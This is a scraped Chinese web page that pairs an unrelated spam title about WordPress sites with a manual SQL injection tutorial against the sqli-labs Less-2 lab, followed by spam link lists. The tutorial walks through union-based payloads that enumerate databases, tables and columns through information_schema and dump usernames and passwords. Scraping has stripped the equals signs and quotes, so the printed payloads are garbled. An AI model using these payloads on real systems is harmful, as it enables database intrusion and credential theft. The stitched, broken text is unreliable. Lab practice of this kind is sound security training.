当前位置: 首页 > news >正文

wordpress网站例怎么做动漫照片下载网站

wordpress网站例,怎么做动漫照片下载网站,网站建设技术发展现状,北京定制网站建设公司SQL注入的过程 手工注入过程 (1) 判断是否存在注入点; (2) 判断字段长度(字段数); (3) 判断字段回显位置; (4) 判断数据库信息; (5) 查找数据库名; (6) 查找数据库表; (7) 查找数据库表中所有字段以及字段值; (8) 猜解账号密码; (9) 登录管理员后台; 以sql-labs less-2举例 会… SQL注入的过程 手工注入过程 (1) 判断是否存在注入点; (2) 判断字段长度(字段数); (3) 判断字段回显位置; (4) 判断数据库信息; (5) 查找数据库名; (6) 查找数据库表; (7) 查找数据库表中所有字段以及字段值; (8) 猜解账号密码; (9) 登录管理员后台; 以sql-labs less-2举例 会有提示 请输入ID作为数值参数 Please input the ID as parameter with numeric value id1-12 都会返回值 也就是相当于该id列 共有12个值 1-12 (1) 判断是否存在注入点; 三步 ?id1   报错数据库错误 ?id1 and 11 成功 ?id1 and 12 失败 通过这三点就可以看出 存在注入点并且注入点在url中 属于GET数字型注入点 (2) 判断字段长度(字段数); 使用order by排序进行判断 ?id1 and 1 1 order by 1  对第一列排序 正常显示 ?id1 and 1 1 order by 2  对第二列排序 正常显示 ?id1 and 1 1 order by 3  对第三列排序 正常显示 ?id1 and 1 1 order by 4  对第四列排序 错误显示Unknown column 4 in order clause 判断出 对前三列排序都是正常显示 对第四列排序显示错误第四列未知  使用 union 联合查询进行判断 ?id1 and 1 1 union select 1                错误显示 ?id1 and 1 1 union select 1,2             错误显示 ?id1 and 1 1 union select 1,2,3          正常显示 ?id1 and 1 1 union select 1,2,3,4       错误显示 判断出 联合查询为3列的时候能与原列数进行拼接 否则报错原因为所使用的SELECT语句具有不同数量的列  通过以上两种方法可以判断出 该表的字段数为3 (3) 判断字段回显位置; 目前知道有三个字段 但是只回显了两个字段的值 我们应该判断哪些字段是隐藏的 哪些字段是回显出来的 使用and否定前面的查询 使数据库执行union后的查询语句  已知三个字段 给联合查询 三个常量值 1,2,3进行判断哪些字段显示出来了 ?id1 and 1 2 union select 1,2,3  回显的值为2和3表示 能显示的位置为2号位和3号位也就是2字段和3字段那么第1个字段就是隐藏位从这个信息我们就可以的到下一步如果我们设计payload的时候我们希望把payload放到2号位和3号位的位置只有这样我们才能够看到payload的返回结果如果payload放到1号位 虽然也能执行 但是无法看到执行结果 (4) 判断数据库信息; 获取服务器所有数据库 从目录数据库中进行查找 存放着MYSQL所有的数据库表列的名上面提到过 这个目录数据库的数据库名 目录数据库的表名 目录数据库中表的列名都是固定的(只演示获取数据库) ?id1 and 1 2 union select 1,2,schema_name from information_schema.schemata schema_name 列有很多个值 但是3号位只能显示第一个值 只能显示第一个数据库的名 使用group_concat()函数聚合函数把当前列所有值连接成字符串 从而返回一个结果集 返回当前服务器存在的所有数据库 ?id1 and 1 2 union select 1,2,group_concat(schema_name) from information_schema.schemata 5 获取当前网站的数据库 ?id1 and 1 2 union select 1,2,database() 获取到网站数据库名security了 就开始获取security内的表了 (6) 查找数据库表; ?id1 and 1 2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schemasecurity 到这我们认为users可能存放着敏感信息于是查询users表中字段名以及字段值 (7) 查找数据库表中所有字段以及字段值; 查询users字段名 ?id1 and 1 2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schemasecurity and table_nameusers 查询每个字段的值 现在已经知道数据库为security表位users 就不需要目录数据库了 使用concat_ws()函数 将每个字段的值以逗号分开结合成字符串 如果不是用该函数3号位只能显示1个字段的一个值 使用后3号位能显示3个字段的3个值 使用limit逐行显示 不使用注释会报错 大概率是与服务器的固定部分语句冲突等原因 ?id1 and 1 2 union select 1,2,concat_ws(,,id,username,password) from security.users limit 0,1 -- 前7步已经得到想要的结果了账号密码了 (8) 猜解账号密码 略过   当前靶场无登录界面 所以 (9) 登录管理员后台;略过 以上七步的所有结果后不确定是否正确 登录靶机的mysql中 查看security数据库users表中的内容进行验证 发现完全一致 ​
http://www.dnsts.com.cn/news/55845.html

相关文章:

  • 室内设计网站都有哪些平台网站seo系统
  • 网站图标 代码app开发需要多久
  • 网站备案变更结合七牛云 做视频网站
  • 深圳高端网站设计公司模板多少钱一张
  • 做旅游网站推广企业服务公司是干什么的
  • 为一个网站设计一个推广方案简单旅游网站开发
  • 怎样查后缀vc域名网站银川网站建设公司名单
  • 深圳网站建设服务找哪家网站问责建设书
  • 上海松江做网站多少钱wordpress百度贴吧
  • 用自己网站域名这么做邮箱企业网站分析报告
  • 自动网站建设不能用来制作网页的软件是
  • 南宁网站建设公司怎么接单kuake自助建站系统官网
  • 小浪底水利枢纽建设管理局网站网站建设流程步骤为需求分析
  • 团购网站 模板公司起名最吉利的字
  • 北京网站建设dqcxwap浏览器安卓版
  • 郑州网站制作网页网页设计教程花之语
  • 网站编辑工具软件北京企业
  • 上海招聘网站排名wordpress联系方式
  • 示范校建设网站重庆业务网站建设
  • 建个大型网站需搞网站开发的程序员属于哪一类
  • 馆陶网站建设电话dw做网站实例
  • 医院网站建设联系方式网站备案域名更改吗
  • 外国人做中国数学视频网站奇葩网站100个
  • 公益 建网站上海百网优seo优化公司
  • 深圳市年检在哪个网站做企业做网站电话约见客户的对话
  • 建一个网站需要什么流程网站建设图片素材库
  • 炫酷的html5网站网站规划可以分成哪几步
  • 南京网站建设哪里好做js题目的网站知乎
  • 网站建设需求有哪些查网站访问量
  • 网站抓取超时错误品牌搜索